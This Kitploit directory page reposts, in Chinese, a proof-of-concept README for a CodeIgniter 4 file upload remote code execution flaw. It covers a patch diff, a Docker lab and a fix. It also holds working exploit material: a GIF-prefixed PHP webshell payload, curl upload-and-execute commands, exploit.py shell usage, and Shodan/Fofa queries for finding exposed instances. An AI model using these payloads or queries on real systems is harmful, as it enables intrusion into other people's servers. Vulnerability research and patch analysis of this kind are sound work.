Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-63223-POC — CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in 文件上传 RCE(CVSS 9.8)。通过使用图像魔数绕过不受限制的文件上传,实现未认证远程代码执行。已在 v4.7.4 中修复。 | Kitploit
工具/GitHubGitHub/imbas007/cve-2026-63223-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育实验室与实践
GitHubimbas007/cve-2026-63223-poc

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in 文件上传 RCE(CVSS 9.8)。通过使用图像魔数绕过不受限制的文件上传,实现未认证远程代码执行。已在 v4.7.4 中修复。

查看仓库
121个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2026-63223 PoC — CodeIgniter 4 文件上传 RCE

CVSS 9.8(严重) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434:危险类型文件的不受限制上传
修复版本:CodeIgniter 4 v4.7.4
安全公告:GHSA-mmj4-63m4-r6h5


漏洞摘要

CodeIgniter 4 的 is_image 和 mime_in 文件上传验证规则仅检查基于内容派生的 MIME 类型(魔数),而不检查客户端提供的文件扩展名。

未认证的攻击者可以在 PHP webshell 前添加图片魔数(GIF89a、\xFF\xD8\xFF\xE0、\x89PNG…),将其命名为 shell.php,即可在保留危险的可执行扩展名的同时通过 is_image 或 mime_in 验证。当上传文件存储在可通过 Web 访问的目录中时,攻击者即可实现任意远程代码执行。

触发条件(必须同时满足以下三个)

  1. 应用使用 is_image 或 mime_in 验证上传文件,但没有独立的扩展名检查(ext_in)
  2. 上传文件使用客户端提供的文件名保存(保留 .php 扩展名)
  3. 上传文件存储在可通过 Web 访问且服务器会执行 PHP 的目录中

补丁分析

v4.7.4 中的修复新增了两个辅助方法,并将其接入验证规则:

is_image — 修复前与修复后

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — 修复前与修复后

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

新增辅助方法

root@kitploit:~
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

关键点:该修复委托现有的 Mimes::guessTypeFromExtension() 和 $file->guessExtension() 方法,新增了第二层验证。没有扩展名的上传文件(例如 JavaScript Blob 对象)仍然会被接受。


PoC 组件

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

快速开始 — Docker 实验环境

root@kitploit:~
# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

端点


漏洞利用

方法一 — 交互式

root@kitploit:~
# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

方法二 — 手动(curl)

root@kitploit:~
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

方法三 — 不同的 MIME 伪装

root@kitploit:~
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

原理分析

PHP 的 $_FILES 超全局变量以及 CodeIgniter 的 UploadedFile 对象携带两条相互独立的信息:

  1. type / getMimeType() — 根据文件的魔数派生(基于内容),由浏览器作为 multipart 上传的 Content-Type 部分发送
  2. name / getClientName() — 来自客户端的原始文件名,包含扩展名

在补丁发布之前,is_image 和 mime_in 仅检查第 1 项。攻击者发送:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ is_image 识别为 image/gif → 通过
  • ✅ 文件以 shell.php 保存(保留客户端文件名)
  • ✅ Apache/PHP-FPM 执行 uploads 目录中的 .php 文件 → RCE

补丁发布后,扩展名会被交叉检查:

  • ❌ hasInvalidImageClientExtension() 识别到 .php → 拒绝

检测与追踪

日志/取证检测

在您的 uploads 目录中查找带有图片魔数的 PHP/PHTML/PHP5 文件:

root@kitploit:~
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Shodan 查询

root@kitploit:~
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Fofa 查询

root@kitploit:~
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

修复建议

  1. 升级到 CodeIgniter 4 v4.7.4 或更高版本
  2. 临时解决方案(如果补丁被延迟):在 is_image/mime_in 之外同时添加 ext_in 规则
  3. 纵深防御:
    • 将上传文件存储在 Web 根目录之外,通过 readfile() 代理提供访问
    • 在 Web 服务器层面禁用 uploads 目录中的 PHP 执行:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • 生成由服务器控制的文件名,而不是保留客户端文件名

参考链接

  • GitHub 安全公告 — GHSA-mmj4-63m4-r6h5
  • 修复提交 — b6e9a4f
  • v4.7.4 版本发布
  • IONIX 威胁中心分析
  • NVD 条目

法律声明

此 PoC 仅用于教育目的和经授权的安全测试。该漏洞已通过负责任披露流程报告并修复。请勿将其用于您不拥有或未经明确授权测试的系统。作者对滥用行为不承担任何责任。

下载工具
端点漏洞状态验证规则
/upload/avatar存在漏洞仅 is_image
/upload/document存在漏洞仅 mime_in
/upload/safe安全(对照组)is_image + ext_in